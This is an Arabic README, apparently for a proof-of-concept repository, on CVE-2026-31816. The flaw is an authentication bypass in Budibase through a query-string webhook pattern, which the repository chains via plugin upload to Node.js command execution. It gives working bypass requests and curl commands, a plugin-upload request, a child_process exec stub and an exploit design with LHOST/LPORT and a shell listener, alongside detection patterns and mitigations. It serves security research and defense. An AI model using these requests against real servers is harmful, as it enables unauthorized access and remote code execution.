
CVE-2026-31816 - تجاوز المصادقة في Budibase إلى تنفيذ التعليمات البرمجية عن بُعد
CVE-2026-31816 هي ثغرة أمنية حرجة في تجاوز المصادقة والتفويض تؤثر على Budibase.
توجد الثغرة في البرمجية الوسيطة للتفويض من جانب الخادم المسؤولة عن حماية نقاط نهاية API. تحاول Budibase تحديد نقاط نهاية webhook الشرعية باستخدام تعبير نمطي غير مثبّت (unanchored regular expression) وتقيّم هذا التعبير مقابل ctx.request.url الخاص بـ Koa.
ولأن ctx.request.url يحتوي على سلسلة الاستعلام (query string)، يمكن للمهاجم حقن مسار يبدو كمسار webhook داخل مكوّن الاستعلام لطلب API لا علاقة له بذلك.
على سبيل المثال:
/api/integrations?/webhooks/trigger
هذا الطلب لا يستهدف في الواقع نقطة نهاية webhook. ومع ذلك، يمكن للفحص الهشّ أن يفسّر /webhooks/trigger كدليل على أن الطلب هو طلب webhook شرعي، ويسمح بمواصلة التنفيذ دون الفحوصات المعتادة للمصادقة والتفويض.
تصف NVD المشكلة بأنها تسمح لمهاجم بعيد غير مصادَق تمامًا بالوصول إلى نقاط نهاية API من جانب الخادم عبر إلحاق نمط مسار webhook بعنوان URL.
تسجّل NVD إصدارات Budibase حتى 3.31.4 كإصدارات متأثرة وتمنحها درجة 9.1 وفق معيار CVSS 3.1.
يتركّز المنطق الهشّ حول عملية كشف webhook التي تتم قبل التفويض الطبيعي.
توثّق النشرة الأمنية تعليمات برمجية مكافئة من الناحية المفاهيمية لما يلي:
const WEBHOOK_ENDPOINTS = new RegExp(
[
"webhooks/trigger",
"webhooks/schema",
"webhooks/discord",
"webhooks/ms-teams"
].join("|")
)
export function isWebhookEndpoint(ctx) {
return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}
تكمن المشكلة في الجمع بين سلوكين:
ctx.request.url يحتوي على سلسلة الاستعلام.وهذا يعني أن التعبير لا يحتاج إلى مطابقة مسار الطلب الفعلي.
طلب مثل:
/api/some/protected/endpoint?/webhooks/trigger
لا يزال يحتوي على السلسلة:
/webhooks/trigger
داخل عنوان URL الذي يتم اختباره.
بعد ذلك، تعامل البرمجية الوسيطة للتفويض الطلبَ كطلب webhook وتصل إلى نقطة النهاية دون تنفيذ تدفق التفويض الطبيعي.
تحدد النشرة الأمنية من Budibase هذا بوضوح كونه الخلل الأساسي، وتشير إلى أن التجاوز يتخطّى المصادقة والتفويض وفحوصات الأدوار وحماية CSRF.
من المتوقع أن يمر الطلب العادي إلى نقطة نهاية API محمية عبر طبقة المصادقة.
على سبيل المثال:
GET /api/integrations HTTP/1.1
Host: target.example
Connection: close
يمكن بدلًا من ذلك الوصول إلى نسخة هشّة باستخدام نمط سلسلة الاستعلام الخاص بـ webhook:
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close
الجزء المهم هو:
?/webhooks/trigger
نقطة النهاية نفسها لم تتغير:
/api/integrations
تم تعديل سلسلة الاستعلام فقط.
توضح النشرة الأمنية العامة من Budibase هذه التقنية تحديدًا ضد /api/integrations وعدة نقاط نهاية أخرى من جانب الخادم.
من الطرق الآمنة للتحقق من تجاوز المصادقة في بيئة مختبرية خاضعة للتحكم مقارنة طلب عادي مع النسخة ذات استعلام webhook.
GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
يمكن للخادم الهشّ معالجة الطلب الثاني دون فحوصات المصادقة التي تحمي نقطة النهاية عادةً.
يستخدم إثبات مفهوم منشور بشكل مشابه:
/api/integrations?/webhooks/trigger
كفحص بسيط للثغرة.
يوضح ما يلي بنية طلب API مصادَق يتم تحويله إلى طلب غير مصادَق بإضافة نمط webhook.
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12
{"query":{}}
توثّق النشرة الأمنية الرسمية من Budibase نقطة النهاية هذه كأحد أسطح API المتأثرة.
تشمل نقاط النهاية الأخرى من جانب الخادم الموثّقة بأنها قابلة للوصول عبر الخلل نفسه:
/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins
الملاحظة الأساسية هي أن الثغرة غير مرتبطة بمورد تطبيق معيّن. فالبرمجية الوسيطة للتفويض المتأثرة تقع أمام مجموعة واسعة من واجهات API من جانب الخادم.
يمكن أن يصبح تجاوز المصادقة أكثر خطورة بكثير عند دمجه مع API حسّاس قادر على قبول وظائف يتحكم فيها المهاجم.
يقوم إثبات المفهوم في هذا المستودع بربط الثغرة على النحو التالي:
┌─────────────────────────┐
│ Remote attacker │
└────────────┬────────────┘
│
│ ?/webhooks/trigger
▼
┌─────────────────────────┐
│ Budibase authorization │
│ middleware │
└────────────┬────────────┘
│
│ authentication bypass
▼
┌─────────────────────────┐
│ Protected server-side │
│ API endpoints │
└────────────┬────────────┘
│
│ plugin upload
▼
┌─────────────────────────┐
│ /api/plugin/upload │
└────────────┬────────────┘
│
│ crafted plugin
▼
┌─────────────────────────┐
│ Plugin JavaScript code │
│ execution │
└────────────┬────────────┘
│
▼
Code execution
/api/integrations، ثم يبني أرشيف إضافة Budibase ويُرسله عبر /api/plugin/upload.بمجرد تجاوز التفويض، يتبع طلب رفع الإضافة تنسيق الرفع متعدد الأجزاء (multipart upload) المعتاد، مع إلحاق استعلام webhook الهشّ بعنوان URL.
تمثيل منقّح هو:
POST /api/plugin/upload?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=------------------------boundary
Connection: close
--------------------------boundary
Content-Disposition: form-data; name="file"; filename="datasource-helper.tar.gz"
Content-Type: application/gzip
<PLUGIN_ARCHIVE_BYTES>
--------------------------boundary--
ينشئ إثبات المفهوم في المستودع طلب multipart هذا بأرشيف إضافة .tar.gz ويُرسله إلى /api/plugin/upload?/webhooks/trigger.
من باب الأمان، يترك الطلب أعلاه الأرشيف القابل للتنفيذ كعنصر نائب عن قصد بدلاً من تضمين حمولة reverse-shell مباشرة في التوثيق.
يولّد إثبات المفهوم أرشيف إضافة يحتوي على:
package.json
schema.json
datasource-helper.js
يُنشأ الأرشيف كملف tarball مضغوط بصيغة gzip.
يُبنى مكوّن JavaScript بحيث يقوم Node.js بتحميل child_process وتنفيذ أمر مقدَّم:
var cp = require("child_process");
var cmd = "<COMMAND>";
cp.exec(cmd);
يدعم تنفيذ المستودع أنواع حمولات متعددة ويولّد الأمر المقابل ديناميكيًا.
هذه هي المرحلة الثانية من السلسلة:
Authentication bypass
↓
Unauthenticated API access
↓
Plugin upload
↓
Attacker-controlled JavaScript
↓
Node.js command execution
الثغرة في جوهرها خطأ في تحليل عنوان URL وفي حدود الثقة (trust boundary).
يحتاج التطبيق إلى جعل بعض مسارات webhook متاحة للعموم. وبدلاً من تحديد ما إذا كان مسار الطلب الفعلي ينتمي إلى مسار webhook مسموح به، يبحث التنفيذ الهشّ في عنوان URL بالكامل عن سلسلة فرعية مطابقة.
من الناحية المفاهيمية:
Expected:
request.path
│
└── must actually equal a webhook endpoint
Actual vulnerable behavior:
request.url
│
├── path
└── query string
│
└── attacker-controlled text
│
└── /webhooks/trigger
نظرًا لأن سلسلة الاستعلام يتحكم فيها المهاجم، يمكنه وضع السلسلة التي يتوقعها كاشف webhook في أي مكان داخل عنوان URL.
يؤدي ذلك إلى إرجاع فحص منطقي حسّاس أمنيًا للنتيجة الخاطئة:
isWebhookEndpoint(ctx)
│
├── false → normal authorization
│
└── true → return next()
│
├── authentication skipped
├── authorization skipped
├── role checks skipped
└── CSRF checks skipped
تصف النشرة الأمنية من Budibase صراحةً سلوك return next() المبكّر وتجاوز الفحوصات الأمنية الناتج عنه.
الثغرة أوسع بكثير من مجرد تجاوز تسجيل الدخول.
وفقًا للنشرة الأمنية للبائع، يمكن أن يوفّر الاستغلال وصولًا غير مصادَق إلى واجهات API من جانب الخادم تؤثر على:
تؤكد النشرة الأمنية أيضًا أن التجاوز يزيل حماية CSRF ولا يتطلب تفاعل المستخدم أو بيانات اعتماد موجودة.
عندما تكون واجهة API هشّة قادرة على معالجة وظائف يتحكم فيها المهاجم قابلة للوصول عبر التجاوز، يمكن ربط الثغرة لتصبح تنفيذًا عشوائيًا للتعليمات البرمجية.
يوضح إثبات المفهوم المضمّن في هذا المستودع مسار الهجوم هذا عبر بناء أرشيف إضافة، ورفعه، وانتظار التنفيذ.
تتمثل إستراتيجية الكشف الأساسية في مقارنة سلوك المصادقة لطلب عادي مع الطلب نفسه بإضافة لاحقة استعلام بأسلوب webhook.
مثال:
curl -i http://127.0.0.1:10000/api/integrations
مقابل:
curl -i 'http://127.0.0.1:10000/api/integrations?/webhooks/trigger'
قد يكشف تثبيت هشّ عن نقطة نهاية محمية عبر الطلب الثاني.
تُستخدم هذه التقنية أيضًا في المواد المتاحة للعموم لكشف CVE-2026-31816.
يحدد إدخال NVD ما يلي:
Budibase <= 3.31.4
كإصدار متأثر.
هناك تباين مهم في التوثيق يستحق الملاحظة: تعرض النشرة الأمنية الحالية على GitHub حاليًا "الإصدارات المصححة: لا شيء"، بينما تحدد مراجع الثغرات المستقلة 3.31.5 وما بعدها كحدود المعالجة.
لهذا السبب، لا ينبغي لهذا المستودع تقديم 3.31.5 كتصحيح مؤكد من البائع دون أدنى شك، ما لم يتم التحقق بشكل مستقل من إصدار/تغيير Budibase المقابل.
المعالجة الأساسية هي ترقية Budibase إلى إصدار يحتوي على الإصلاح من المصدر العلوي (upstream).
وإلى أن يصبح التصحيح ممكنًا، يمكن أن تشمل الضوابط الدفاعية:
1. Restrict network access to the Budibase server.
2. Place the administrative interface behind trusted-network controls.
3. Monitor for webhook-style strings appearing in API query parameters.
4. Review logs for requests containing:
/webhooks/trigger
/webhooks/schema
/webhooks/discord
/webhooks/ms-teams
5. Restrict unnecessary plugin-management functionality.
تشكّل الثغرة قلقًا خاصًا للنشر الذاتي المكشوف على الإنترنت لأن الهجوم لا يتطلب جلسة مصادقة.
من المؤشرات المفيدة على مستوى السجلات وجود طلب API يحتوي على نمط مسار webhook في سلسلة الاستعلام:
/api/*?/webhooks/trigger
/api/*?/webhooks/schema
/api/*?/webhooks/discord
/api/*?/webhooks/ms-teams
على سبيل المثال:
GET /api/integrations?/webhooks/trigger
POST /api/plugin/upload?/webhooks/trigger
POST /api/ta_users/search?/webhooks/trigger
يجب التحقيق في هذه الأنماط بدلاً من اعتبارها تلقائيًا دليلًا على الاستغلال، إذ يجب أيضًا مراعاة حركة المرور الشرعية والسلوك الخاص بالتطبيق.
ينقسم تنفيذ الاستغلال في هذا المستودع إلى عدة مكوّنات منطقية:
ExploitConfig
│
├── target
├── LHOST
├── LPORT
└── payload type
│
▼
BudibaseClient
│
├── vulnerability check
└── plugin upload
│
▼
PluginBuilder
│
└── .tar.gz
│
▼
PayloadBuilder
│
└── JavaScript
│
▼
command execution
يحتوي التنفيذ أيضًا على مستمع اختياري لاستقبال اتصال الصدفة بعد نجاح الاستغلال.
لبيئة مختبرية خاضعة للتحكم:
1. Deploy a vulnerable Budibase release.
2. Send a baseline request to a protected endpoint.
3. Repeat the request with ?/webhooks/trigger.
4. Compare the authentication behavior.
5. Confirm that the protected API becomes reachable.
6. In an isolated environment, test the plugin-upload stage.
7. Verify command execution using a harmless proof such as creating a temporary marker file.
تمثل هذه الثغرة مثالًا جيدًا على لماذا يجب إجراء مطابقة عناوين URL الحساسة أمنيًا مقابل مسار طلب محلل ومعاير بشكل صحيح، وليس مقابل سلسلة URL كاملة يتحكم فيها المهاجم.
الخطأ دقيق لأن وظيفة webhook نفسها شرعية. المشكلة هي قرار الثقة الذي تتخذه البرمجية الوسيطة:
"Does this request target a webhook?"
يُجاب عنه فعليًا بـ:
"Does the entire URL contain a webhook-looking substring?"
هاتان ليستا خاصيتين أمنيتين متكافئتين.
لذلك لا يحتاج المهاجم إلى جعل طلبه يتحول فعليًا إلى طلب webhook. كل ما يحتاجه هو جعل البرمجية الوسيطة للتفويض تعتقد أنه كذلك.
هذا المستودع مخصّص لـ البحث الأمني، والتحقق من الثغرات، والاختبار المصرّح به. لا تستخدم الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
| Field | Value |
|---|
| CVE | CVE-2026-31816 |
| Vendor | Budibase |
| Product | Budibase |
| Affected versions | <= 3.31.4 |
| Severity | Critical |
| CVSS v3.1 | 9.1 |
| CVSS Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-74 |
| Attack Vector | Network |
| Privileges Required | None |
| User Interaction | None |
| Authentication Required | No |